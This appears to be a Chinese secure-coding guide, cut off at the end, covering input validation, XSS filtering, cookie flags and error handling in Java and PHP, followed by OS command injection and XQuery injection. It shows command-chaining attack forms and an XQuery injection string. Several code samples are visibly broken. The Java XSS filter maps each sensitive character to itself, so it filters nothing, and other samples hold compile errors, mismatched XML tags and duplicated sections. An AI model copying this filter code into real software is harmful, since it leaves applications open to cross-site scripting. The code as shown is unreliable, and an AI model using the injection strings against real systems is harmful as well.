Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
...
public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired(expression)) {
match = Pattern.matches(expression, value);
}
return match;
}
...
}
[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
验证必需 cookie 值的示例:
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
// find the "user" cookie
for (int i=0; i<cookies.length; ++i) {
if (cookies[i].getName().equals("user")) {
// validate the cookie value
if (Validator.validateRequired(cookies[i].getValue()) {
// valid cookie value, continue processing request
...
}
}
}
}
[8] HTTP 响应
[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
...
public static String filter(String value) {
if (value == null) {
return null;
}
StringBuffer result = new StringBuffer(value.length());
for (int i=0; i<value.length(); ++i) {
switch (value.charAt(i)) {
case '<':
result.append("<");
break;
case '>':
result.append(">");
break;
case '"':
result.append(""");
break;
case '\'':
result.append("'");
break;
case '%':
result.append("%");
break;
case ';':
result.append(";");
break;
case '(':
result.append("(");
break;
case ')':
result.append(")");
break;
case '&':
result.append("&");
break;
case '+':
result.append("+");
break;
default:
result.append(value.charAt(i));
break;
}
return result;
}
...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
Java Servlet API 2.3 引进了过滤器,它支持拦截和转换 HTTP 请求或响应。
以下示例使用 Validator.filter 来用“Servlet 过滤器”清理响应:
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
...
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
PrintWriter out = response.getWriter();
ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
chain.doFilter(request, wrapper);
CharArrayWriter caw = new CharArrayWriter();
caw.write(Validator.filter(wrapper.toString()));
response.setContentType("text/html");
response.setContentLength(caw.toString().length());
out.write(caw.toString());
out.close();
}
...
public class CharResponseWrapper extends HttpServletResponseWrapper {
private CharArrayWriter output;
public String toString() {
return output.toString();
}
public CharResponseWrapper(HttpServletResponse response){
super(response);
output = new CharArrayWriter();
}
public PrintWriter getWriter(){
return new PrintWriter(output);
}
}
}
}
[8-2] 保护 cookie
在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。
保护“用户”cookie 的示例:
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。
Struts 定义以下基本输入验证器,但也可定义定制的验证器:
required:如果字段包含空格以外的任何字符,便告成功。
mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。
range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。
maxLength:如果字段长度小于或等于 max 属性,便告成功。
minLength:如果字段长度大于或等于 min 属性,便告成功。
byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。
date:如果值代表有效日期,便告成功。可能会提供日期模式。
creditCard:如果值可以是有效的信用卡号码,便告成功。
e-mail:如果值可以是有效的电子邮件地址,便告成功。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:
validate_doublerange:在组件上注册 DoubleRangeValidator。
validate_length:在组件上注册 LengthValidator。
validate_longrange:在组件上注册 LongRangeValidator。
validate_required:在组件上注册 RequiredValidator。
validate_stringrange:在组件上注册 StringRangeValidator。
validator:在组件上注册定制的 Validator。
JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):
input_date:接受以 java.text.Date 实例格式化的 java.util.Date。
output_date:显示以 java.text.Date 实例格式化的 java.util.Date。
input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。
input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
input_text:接受单行文本字符串。
output_text:显示单行文本字符串。
input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。
output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。
input_hidden:允许页面作者在页面中包括隐藏变量。
input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号。
input_textarea:接受多行文本。
output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
output_label:将嵌套的组件显示为指定输入字段的标签。
output_message:显示本地化消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/** 错误处理:
许多 J2EE Web 应用程序体系结构都遵循“模型视图控制器(MVC)”模式。在该模式中,Servlet 扮演“控制器”的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。
数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:
[1] 定义错误
[2] 报告错误
[3] 呈现错误
[4] 错误映射
[1] 定义错误
应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要“user_name”字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:
(a) ERROR_USERNAME_REQUIRED:该错误密钥用于显示消息,以通知用户需要“user_name”字段;
(b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户“user_name”字段应该是字母数字;
(c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户“user_name”值在数据库中重复;
(d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户“user_name”值无效;
好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:
- ErrorKeys:定义所有错误密钥
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
...
}
- Error:封装个别错误
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
// Constructor given a specified error key
public Error(String key) {
this(key, null);
}
// Constructor given a specified error key and array of placeholder objects
public Error(String key, Object[] values) {
this.key = key;
this.values = values;
}
// Returns the error key
public String getKey() {
return this.key;
}
// Returns the placeholder values
public Object[] getValues() {
return this.values;
}
private String key = null;
private Object[] values = null;
}
- Errors:封装错误的集合
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
// Adds an Error object to the Collection of errors for the specified bean property.
public void addError(String property, Error error) {
ArrayList propertyErrors = (ArrayList)errors.get(property);
if (propertyErrors == null) {
propertyErrors = new ArrayList();
errors.put(property, propertyErrors);
}
propertyErrors.put(error);
}
// Returns true if there are any errors
public boolean hasErrors() {
return (errors.size > 0);
}
// Returns the Errors for the specified property
public ArrayList getErrors(String property) {
return (ArrayList)errors.get(property);
}
private HashMap errors = new HashMap();
}
以下是使用上述框架类来处理“user_name”字段验证错误的示例:
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
// (c) Duplicate check validation rule
// We assume that there is an existing UserValidationEJB session bean that implements
// a checkIfDuplicate() method to verify if the user already exists in the database.
try {
...
if (UserValidationEJB.checkIfDuplicate(userName)) {
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
}
} catch (RemoteException e) {
// log the error
logger.error("Could not validate user for specified userName: " + userName);
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
}
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
[2] 报告错误
有两种方法可报告 web 层应用程序错误:
(a) Servlet 错误机制
(b) JSP 错误机制
[2-a] Servlet 错误机制
Servlet 可通过以下方式报告错误:
- 转发给输入 JSP(已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError,或
- 抛出异常
好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
rd.forward(request, response);
}
如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。 请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
// messages is a resource bundle with all message keys and values
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:
- RuntimeException
- ServletException
- IOException
[2-b] JSP 错误机制
JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:
<%@ page errorPage="/errors/userValidation.jsp" %>
未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令:
<%@ page isErrorPage="true" %>
isErrorPage 伪指令导致“exception”变量初始化为所抛出的异常对象。
[3] 呈现错误
J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:
(a) 资源束
(b) 消息格式化
[3-a] 资源束
资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。
java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required
# invalid user name format
error.username.alphanumeric=User name must be alphanumeric
# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one
...
可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。
[3-b] 消息格式化
J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
// Returns the error message for the specified error key in the environment locale
public String getErrorMessage(String errorKey) {
return getErrorMessage(errorKey, defaultLocale);
}
// Returns the error message for the specified error key in the specified locale
public String getErrorMessage(String errorKey, Locale locale) {
return getErrorMessage(errorKey, null, locale);
}
// Returns a formatted error message for the specified error key in the specified locale
public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
// Get localized ErrorMessageResource
ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
// Get localized error message
String errorMessage = errorMessageResource.getString(errorKey);
if (args != null) {
// Format the message using the specified placeholders args
return MessageFormat.format(errorMessage, args);
} else {
return errorMessage;
}
}
// default environment locale
private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
// iterate through errors and output error messages corresponding to the "user_name" property
ArrayList userNameErrors = errors.getErrors("user_name");
ListIterator iterator = userNameErrors.iterator();
while (iterator.hasNext()) {
// Get the next error object
Error error = (Error)iterator.next();
String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
output.write(errorMessage + "\r\n");
}
}
建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。
[4] 错误映射
通常情况下,“Servlet 容器”会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在“Web 部署描述符(web.xml)”中,如以下示例所指定:
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
<exception-type>UserValidationException</exception-type>
<location>/errors/validationError.html</error-page>
</error-page>
<error-page>
<error-code>500</exception-type>
<location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
Struts JSP 标记库定义了有条件地显示一组累计错误消息的“errors”标记,如以下示例所示:
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
<html:form action="/logon.do">
<table border="0" width="100%">
<tr>
<th align="right">
<html:errors property="username"/>
<bean:message key="prompt.username"/>
</th>
<td align="left">
<html:text property="username" size="16"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit><bean:message key="button.submit"/></html:submit>
</td>
<td align="right">
<html:reset><bean:message key="button.reset"/></html:reset>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。
JavaServer Faces API 定义“output_errors”UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/PHP
** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:
// PHP example to validate required fields
function validateRequired($input) {
...
$pass = false;
if (strlen(trim($input))>0){
$pass = true;
}
return $pass;
...
}
...
if (validateRequired($fieldName)) {
// fieldName is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$
[7] cookie 值
适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
PHP 包含一些自动化清理实用程序函数,如 htmlentities():
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
[8-2] 保护 cookie
在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。
为了保护 cookie,您可以使用以下代码示例:
<$php
$value = "some_value";
$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;
setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。
在 PHP 5.2.0 中添加了 HttpOnly 标志。
引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx[2] PHP 安全协会:
http://phpsec.org/[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):
http://shiflett.org/0x06 系统命令注入
技术描述:
该软件使用受外部影响的输入来构造操作系统命令的全部或一部分,但未能对可能修改所需操作系统命令的元素进行无害化处理。这样一来,攻击者就可以直接在操作系统上执行意外的危险命令。在攻击者没有对操作系统的直接访问权的情况下(例如在 Web 应用程序中),此弱点可能导致脆弱性。反过来说,如果该弱点发生在特权程序中,攻击者有可能能够指定通常不可访问的命令,或者通过攻击者不具备的特权调用替代命令。如果受到威胁的进程未遵循最低特权原则,那么该问题会变得更严重。其原因是攻击者控制的命令可能通过特定系统特权运行,这会加重危害。存在操作系统命令注入的至少两种子类型:
[1] 应用程序计划执行受其控制的单个固定程序。它计划使用外部提供的输入作为该程序的参数。例如,程序可能使用 system("nslookup [HOSTNAME]") 来运行 nslookup,并允许用户提供 HOSTNAME 以用作参数。攻击者无法阻止 nslookup 执行。但是,如果程序不从 HOSTNAME 参数中除去命令分隔符,攻击者就可以将分隔符放置到参数中,从而能够在 nslookup 完成执行后执行其自己的程序。[2] 应用程序接受输入,并将其用于完全地选择要运行的程序以及要使用的命令。应用程序只是将此完整命令重定向至操作系统。例如,程序可能使用“exec([COMMAND])”来执行用户提供的 [COMMAND]。如果 COMMAND 受到攻击者的控制,那么攻击者可以执行任意命令或程序。如果命令是使用 exec() 和 CreateProcess() 之类的函数执行的,攻击者可能无法将多个命令组合到同一行中。这些变体代表不同的程序员错误。在第一个变体中,程序员清楚地表明来自不可信方的输入将作为要执行的命令中的部分参数。在第二个变体中,程序员不希望命令可供任何不可信方访问,但可能未考虑到恶意攻击者可提供输入的其他方式。例如:某些脚本通过操作系统调用来运行命令。有时,URL 参数会用作命令的一部分。在这种情况下,就有可能注入将在操作系统上运行的代码。此类代码注入可能使用各种语法:
command1 | command2(使用 command1 的输出作为 command2 的输入 - 攻击形式将是 "| command")
command1 && command2(在 command1 的返回码为 true 的情况下运行 command2 - 攻击形式将是 "&& command")
command1 || command2(在 command1 的返回码为 false 的情况下运行 command2 - 攻击形式将是 "|| command")
有时,第一条命令包含在单引号 (') 或双引号 (") 中,因此要执行第二条命令,就需要首先将引号转义。通过使用这些变体,攻击者可尝试在主机上运行任意代码。
威胁影响:可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容
产生原因:未对用户输入正确执行危险字符清理
缓解修复:
[1] 如果可能,使用库调用而不是外部进程来创建所需功能。
[2] 策略:沙箱或监狱
在进程和操作系统之间强制实施严格边界的“监狱”或类似沙箱环境中运行代码。这可能会有效限制您的软件可访问特定目录中的哪些文件或者可以执行哪些命令。操作系统级别的示例包括 Unix chroot jail、AppArmor 和 SELinux。通常,受管代码可提供一定的保护。例如,Java SecurityManager 中的 java.io.FilePermission 允许您指定针对文件操作的限制。这可能不是可行的解决方案,并且它仅限制了对操作系统的影响;您的应用程序的其余部分仍有可能受到损害。请注意避免 CWE-243 以及与监狱相关的其他弱点。
[3] 策略:库或框架
使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。
例如,考虑使用 ESAPI 编码控件
http://www.owasp.org/index.php/ESAPI或类似的工具、库或框架。这些将帮助程序员以较少出错的方式对输出编码。
[4] 策略:输入验证
假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于针对恶意或格式错误的输入的黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。
执行输入验证时,请考虑所有潜在相关的属性,包括长度、输入类型、可接受的值的完整范围、缺少或多余的输入、语法、在相关字段之间是否一致以及是否遵守了业务规则。作为业务规则逻辑的示例,“boat”可能在语法上有效(因为它仅包含字母数字字符),但如果预期为颜色(如“red”或“blue”),那么它就无效。构造操作系统命令字符串时,请使用严格的白名单以根据请求中参数的预期值来限制字符集。这将间接限制攻击的范围,但是此技巧的重要性不及适当的输出编码和转义。
请注意,适当的输出编码、转义和引用是防止操作系统命令注入的最有效解决方案,虽然输入验证可能会提供一定的深度防御。这是因为,它会有效限制输出中出现的内容。输入验证并不总是能够防止操作系统命令注入,尤其是在您需要支持可包含任意字符的自由格式文本字段的情况下。例如,调用邮件程序时,您可能需要允许主题字段包含在其他情况下很危险的输入(如“;”和“>”字符),这些输入需要转义或以其他方式进行处理。在此情况下,除去该字符可能会降低操作系统命令注入的风险,但是这会产生不正确的行为,因为这样就不会按照用户的需要来记录主题字段。这可能看起来只是略有不便,但在程序依赖于结构良好的主题行以便向其他组件传递消息时,这种情况就更为重要。
即使在验证中出错(例如,在 100 个输入字段中忘记一个字段),相应的编码仍有可能针对基于注入的攻击为您提供防护。只要输入验证不是孤立完成的,便仍是有用的技巧,因为它可以大大减少攻击出现的机会,使您能够检测某些攻击,并提供正确编码所无法解决的其他安全性优势。[5] 策略:环境固化
使用完成必要任务所需的最低特权来运行代码。
https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html. 如果可能,请使用仅用于单个任务的有限特权来创建孤立的帐户。这样,即使攻击成功,攻击者也无法立即访问软件或其环境的其余部分。例如,数据库应用程序很少需要以数据库管理员身份运行,特别是在日常操作中。
0x07 XQuery 注入
技术描述:
XQuery是XPath的超集,如果Xpath只是一个查询语言,XQuery是一个程序语言,可以声明自定义的功能、变量等等。类似XPath注入,XQuery注入在没有验证用户输入的情况下也会发生。一个程序使用用户名查询博客实体,后端使用XQuery查询XML数据。
查询实例,用户输入admin,在后台执行的查询为:
for $blogpost in//post[@author=’admin’]
return
<div>
<hr />
<h3>{$blogpost/title}</h3><br/>
<em>{$blogpost/content}</em>
<hr />
</div>
如果用户输入admin’] let $x :=/*[' ,注入后的查询结果为:
for $blogpost in//post[@author=’admin’]
let $x := /*[‘’]
return
<div>
<hr />
<h3>{$blogpost/title}</h3><br/>
<em>{$blogpost/content}</em>
<hr />
</div>
攻击者可以在let $x := /*[‘’]中插入任何想执行语句都会在循环中执行,它会
通过所有当前执行文件中的元素循环发出一个GET请求到攻击者的服务器。
URL攻击
